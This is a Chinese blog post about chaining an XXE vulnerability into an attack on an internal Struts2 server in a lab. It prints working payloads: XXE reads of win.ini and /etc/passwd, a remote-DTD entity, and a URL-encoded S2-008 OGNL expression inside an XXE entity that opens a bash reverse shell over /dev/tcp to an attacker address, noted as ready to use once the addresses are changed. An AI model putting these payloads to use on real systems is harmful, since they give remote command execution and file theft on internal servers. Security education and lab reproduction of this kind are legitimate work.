XXE攻击内网web应用

2024-05-14 498 0

最近在巩固XXE漏洞的利用技巧,看过好多文章都提到了攻击内网Struts2,并贴上了payload(截图),但是都没给出response结果。在艰难的手码payload后也未能复现。于是,经过了一天一夜的思考,终于悟了。

环境准备:

1. xxe漏洞环境:使用大神们准备好的xxe-lab(https://github.com/c0ny1/xxe-lab)

2. 模拟内网struts2环境:开源Vulhub (https://vulhub.org/#/environments/struts2/s2-008/)

利用文件读取测试xxe漏洞,成功。

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<user><username>&ampxxe;</username><password>null</password></user>

XXE攻击内网web应用插图

下面进入正题

经过测试,以下payload可正常执行,并成功反弹shell(只需要修改请求地址和接收反弹shell地址)(该payload是st-008漏洞的)

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "http://192.168.30.165:8080/devmode.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%[email protected]@getRuntime().exec(%22%2Fbin%2Fbash%20-c%20bash%24IFS%249-i%3E%26%2Fdev%2Ftcp%2F192.168.1.2%2F10803%3C%261%22).getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew%20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5B50000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()"> ]>
<user><username>&ampxxe;</username>

XXE攻击内网web应用插图1

以下是在测试中的思考,觉得蛮有意思,分享一下心得:

首先,就是payload自身问题,网上各种文章中的payload在测试环境中都不能复现。

利用Vulhub给的paload也不能成功。想着高难度payload完不成,简单的总行吧,于是我看个struts2历代漏洞,选了一个通过GET方式请求就可成功的(S2-008),当然payload也是网上搜索的(毕竟我是个小菜鸡)。

但是将payload插入xxe中后,提示出错(DOMDocument::loadXML(): Invalid URI);

又联想到远程加载DTD完成攻击,一时间不禁怀疑,是不是只能利用http协议进行端口探测?,或者xxe漏洞攻击http只能加载DTD?

############加载远程dtd完成文件读取:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://192.168.70.81/xxe.dtd" >
%d;
]>
<x>&ampxxe;</x>

192.168.70.81xxe.dtd文件内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >

在一个寂寞的夜晚,夜深人静时候又思考:即使是只能加载DTD,也肯定是发起的http请求。那么攻击内网web也是http请求,原理应该是行得通吧?嗯一定行得通!(相信自己)

第二天早上,迫不及待的开启了验证模式:

自己先起一个simplehttp服务(python3 -m http.server 10802),点击send,果然是请求未成功,ok思路来了。我一段一段的测试payload:XXE攻击内网web应用插图2

嗯,,这段http请求可以成功,

XXE攻击内网web应用插图3

继续增加字段,未成功,那么,应该就是后增加字段出现问题了。(能有什么问题呢?肯定是编码咯)

XXE攻击内网web应用插图4XXE攻击内网web应用插图5

经过我一点一点的对payload进行url编码,保证http请求可以正常发起后,修改请求地址反弹shell,完成:

XXE攻击内网web应用插图6

经验分享,网上文章还是需要甄别的学习,通过百度搜索到的大多都是一篇文章搬来搬去,最终有的文章连图片都显示不出来。

在复现、学习时候,一定要亲自上手练习,毕竟实战中总会遇到各种各样的问题,要通过练习解决遇到的问题(例如编码问题,多了空格,http请求头少参数,多了或少了符号等,),才能再实战中快速调整。

漏洞复现要思考原理,网络基础也很重要呦。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论